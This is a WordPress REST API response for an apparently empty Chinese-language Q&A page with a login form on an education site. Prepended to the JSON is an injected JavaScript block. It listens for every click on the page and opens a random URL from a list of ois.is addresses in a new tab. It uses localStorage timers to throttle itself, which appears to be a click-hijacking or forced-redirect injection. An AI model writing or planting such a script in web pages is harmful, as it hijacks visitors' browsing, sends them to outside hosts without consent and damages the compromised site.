<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1320,"date":"2019-03-15T16:42:32","date_gmt":"2019-03-15T08:42:32","guid":{"rendered":"http:\/\/edu.secda.info\/situtor_news\/?page_id=1320"},"modified":"2019-03-15T16:43:39","modified_gmt":"2019-03-15T08:43:39","slug":"%e4%b8%ad%e5%bf%83qa","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/situtor_news\/?page_id=1320","title":{"rendered":"\u4e2d\u5fc3Q&#038;A"},"content":{"rendered":"<div class=\"dwqa-container\" ><div id=\"archive-question\" class=\"dw-question\"><div class=\"dwqa-list-question\"><div class=\"dwqa-search\"> <form action=\"\" class=\"dwqa-search-form\"> <input class=\"dwqa-search-input\" placeholder=\"\u641c\u7d22\"> <span class=\"dwqa-search-submit fa fa-search\"><\/span> <span class=\"dwqa-search-loading dwqa-hide\"><\/span> <span class=\"dwqa-search-clear fa fa-times dwqa-hide\"><\/span> <\/form> <\/div><div class=\"filter-bar\"><input type=\"hidden\" id=\"_filter_wpnonce\" name=\"_filter_wpnonce\" value=\"cdf2ce6688\" \/><a href=\"https:\/\/edu.secda.info\/situtor_news\/?page_id=1321\" class=\"dwqa-btn dwqa-btn-success\">\u554f\u4e00\u500b\u554f\u984c<\/a><div class=\"filter\"><li class=\"status\"><ul><li>\u72c0\u614b:<\/li><li class=\"active status-all\" data-type=\"all\"><a href=\"#\">\u6240\u6709<\/a><\/li><li class=\" status-open\" data-type=\"open\"><a href=\"#\">\u958b\u653e<\/a><\/li><li class=\" status-replied\" data-type=\"replied\"><a href=\"#\">\u5df2\u89e3\u7b54<\/a><\/li><li class=\" status-resolved\" data-type=\"resolved\"><a href=\"#\">\u5df2\u89e3\u6c7a<\/a><\/li><li class=\" status-closed\" data-type=\"closed\"><a href=\"#\">\u95dc\u9589<\/a><\/li><\/ul><\/li><\/div><div class=\"filter sort-by\"><div class=\"filter-by-category select\"><span class=\"current-select\">\u9078\u64c7\u4e00\u500b\u5206\u985e<\/span><ul id=\"dwqa-filter-by-category\" class=\"category-list\" data-selected=\"all\"><li class='cat-item-all'><a href='https:\/\/edu.secda.info\/situtor_news\/?post_type=dwqa-question'>\u6240\u6709<\/a><\/li><li class=\"cat-item cat-item-63\" data-cat=\"63\"><a href=\"https:\/\/edu.secda.info\/situtor_news\/?dwqa-question_category=questions\" title=\"View all posts filed under Questions\">Questions<\/a><\/li><\/ul><\/div><ul class=\"order\"><li class=\"most-reads \" data-type=\"views\" ><span>\u700f\u89bd<\/span> <i class=\"fa fa-sort \"><\/i><\/li><li class=\"most-answers \" data-type=\"answers\" ><span href=\"#\">\u7b54\u6848<\/span> <i class=\"fa fa-sort \"><\/i><\/li><li class=\"most-votes \" data-type=\"votes\" ><span>\u6295\u7968<\/span> <i class=\"fa fa-sort \"><\/i><\/li><\/ul><input type=\"hidden\" id=\"dwqa_filter_posts_per_page\" name=\"posts_per_page\" value=\"\"><\/div><\/div><div><input type=\"hidden\" name=\"dwqa-paged\" id=\"dwqa-paged\" value=\"1\" ><\/div><p class=\"not-found\">\u62b1\u6b49\uff0c\u6c92\u6709\u7b26\u5408\u4f60\u7684\u5167\u5bb9\u8acb <a href=\"https:\/\/edu.secda.info\/situtor_news\/wp-login.php?redirect_to=https%3A%2F%2Fedu.secda.info%2Fsitutor_news%2F%3Fpost_type%3Ddwqa-question\">\u767b\u9304<\/a> \u6216\u8005 <a href=\"https:\/\/edu.secda.info\/situtor_news\/wp-login.php?action=register\">\u8a3b\u518a<\/a> \u63d0\u4ea4\u554f\u984c\u3002<form name=\"loginform\" id=\"loginform\" action=\"https:\/\/edu.secda.info\/situtor_news\/wp-login.php\" method=\"post\"><p class=\"login-username\"><label for=\"user_login\">\u4f7f\u7528\u8005\u540d\u7a31\u6216\u96fb\u5b50\u90f5\u4ef6\u5730\u5740<\/label><input type=\"text\" name=\"log\" id=\"user_login\" autocomplete=\"username\" class=\"input\" value=\"\" size=\"20\" \/><\/p><p class=\"login-password\"><label for=\"user_pass\">\u5bc6\u78bc<\/label><input type=\"password\" name=\"pwd\" id=\"user_pass\" autocomplete=\"current-password\" spellcheck=\"false\" class=\"input\" value=\"\" size=\"20\" \/><\/p><p class=\"login-remember\"><label><input name=\"rememberme\" type=\"checkbox\" id=\"rememberme\" value=\"forever\" \/> \u4fdd\u6301\u767b\u5165<\/label><\/p><p class=\"login-submit\"><input type=\"submit\" name=\"wp-submit\" id=\"wp-submit\" class=\"button button-primary\" value=\"\u767b\u5165\" \/><input type=\"hidden\" name=\"redirect_to\" value=\"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F1320\" \/><\/p><\/form><\/p><\/div><\/div><\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":6,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"blank-slate-template.php","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0,"footnotes":""},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=\/wp\/v2\/pages\/1320"}],"collection":[{"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1320"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=\/wp\/v2\/pages\/1320\/revisions"}],"predecessor-version":[{"id":1323,"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=\/wp\/v2\/pages\/1320\/revisions\/1323"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/situtor_news\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1320"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}